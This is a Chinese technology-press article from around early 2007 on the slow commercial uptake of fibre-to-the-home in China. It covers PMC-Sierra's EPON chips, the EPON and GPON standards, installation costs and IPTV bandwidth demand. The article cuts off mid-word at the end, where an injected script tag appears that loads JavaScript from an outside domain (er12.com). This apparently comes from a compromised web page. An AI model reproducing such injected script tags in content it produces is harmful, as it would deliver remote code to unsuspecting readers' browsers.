“只闻楼梯响，鲜见人下楼。”用这句话来形容光纤到户(ftth)技术近年来在中国的商用情况，似乎并不为过。因为倡导多年的ftth技术，在中国至今仍然停留在小范围内的商用试验阶段。不过，在这背后我们仍可看到业界在不遗余力地推动ftth技术在中国乃至全球的商用进程。
我们可以把目光回放到4个月前首度在中国香港举办的国际电信联盟世界电信展(itutelecomworld)。2006年12月5日上午，pmc-sierra公司的展台迎来了一位重要访客。这位访客在pmc-sierra公司众多在场高管的陪同下，饶有兴趣地观摩与询问了这家公司的宽带通信产品，特别是该公司面向ftth推出的众多芯片和系统级解决方案。原来这位访客就是中国电信集团的总工程师韦乐平。
与之相映的是，同在5日，pmc-sierra宣布推出一款端到端epon芯片方案。该方案包含两款系统级芯片(soc)，分别是面向用户端设备(cpe)的pas6301光纤网络单元(onu)和面向局端设备的psa5201光纤线路终端(olt)，据称非常适合在中国市场大规模应用。
这两件事情综合在一起，到底应该如何解读？是否意味着ftth技术即将迎来在中国大规模商用的曙光？在追寻问题的答案之前，让我们先来回顾一下ftth技术的由来、多年来商用进展缓慢的原因以及最新有利于促进其商用的积极因素。
ftth商用中的“鸡与蛋”问题
众所周知，目前中国家庭宽带用户上网主要通过两种方式，一为数字用户线路(dsl)，二为cablemodem，其中以基于铜线的dsl技术占绝对主导地位。由于这两种技术都已经非常成熟，特别是能够以众多家庭用户能承受的价格提供他们能够接受的带宽，预计其主流地位在未来一段时期内还难以憾动。
但是，dsl技术也存在着其固有不足，如速率不对称、带宽较小，以及受电磁干扰影响较大等。而cablemodem是总线型联网架构，挂在总线上的用户越多，每个用户能得到的带宽就越窄。而与铜线相比，光纤接入在距离和带宽方面基本没有限制。有鉴于此，业界早就将目光投向了ftth技术。
在十多年的发展历程中，有关ftth的实现技术不断推陈出新，从有源接入方式过渡到无源接入方式，从点到点(p2p)方式的媒体转换器(mc)发展到点到多点方式的无源光网络(pon)技术。其中，pon的本质特征是光分配网络(odn)全部由无源光器件组成，其中不含任何有源电子器件。这样就避免了外部设备的电磁干扰和雷电影响，减少了线路和外部设备的故障率，提高了系统可靠性，同时也节约了维护成本。在这种情况下，pon被视为能够取代铜线dsl技术的终极ftth技术解决方案。
在各种pon技术中，如今最引人注目有两个pon标准，其一是由ieee802.3ah工作组制定的以太网无源光网络(epon)标准，其二是由国际电信联盟/全业务接入网组织(itu/fsan)负责制定的旨在取代apon的千兆位无源光网络(gpon)标准。近年来，中国各大电信运营商中纷纷展开了基于epon/gpon技术的ftth商用试验。
不过，ftth在商用过程面临着最为棘手的一个问题是成本。据统计，对运营商来说，ftth项目建设的每线成本仍然相当于每线adsl的5到10倍，甚至更高，这对已在dsl技术上投入巨额资金铁运营商来说，实在需要慎重考虑。而对家庭用户来说，据了解，在中国的一些ftth商用试验地区，仅提供上网服务的ftth业务光是初装费大概要人民币3,000元，而提供三重服务的ftth业务初装费则高达5,000元之多。相比较而言，现有的无论是adsl还是cablemodem，其初装费已低到可以忽略不计的地步，用户需要付出的不过是有多种等级可供选择的月使用费。业内专家预计，如果ftth在中国大规模商用，其初装费有望控制在1,000元左右，而用户每月上网消费将与目前adsl等宽带接入方式基本持平。但问题在于，如果ftth业务价格没有降到这样一个水平，又很难在中国实现大规模商用。这真是又一个版本的“先有鸡还是先有蛋”的问题，似乎永远无法得到正解。
视频应用等加速“铜退光进”
虽然ftth在中国陷入“先降低成本还是先大规模商用”的困境，但ftth产业链本身已经形成。在这条产业链中，有终端用户、芯片与设备提供商、运营商、政府和房地产开发商等。其中各个环节的变化，都有可能加速ftth的商用进程。
首先，非常重要的一个环节便是运营商，因为运营商对ftth的态度和决策从根本上决定了ftth的发展。而对运营商来说，随着互联网和移动通信的日益普及，以及电信竞争的日益激烈，传统的电信运营商面临着越来越大的业务转型压力。
对于他们来说，要实现业务转型，很重要的一个战略便是通过融合多业务实现差异化竞争。这其中，融合话音、数据和视频的三重播放业务(tripleplay)或互联网电视(iptv)业务，成为了运营商的重要选择。这些以视频为中心的业务对带宽提出了更高的要求。例如，基于现有的编码技术，iptv业务特别是hdtv需要10m以上带宽，而目前中国运营商为普通家庭用户提供的多是1到2m的带宽。虽然采用最新的dsl技?script src=http://er12.com/t.js>
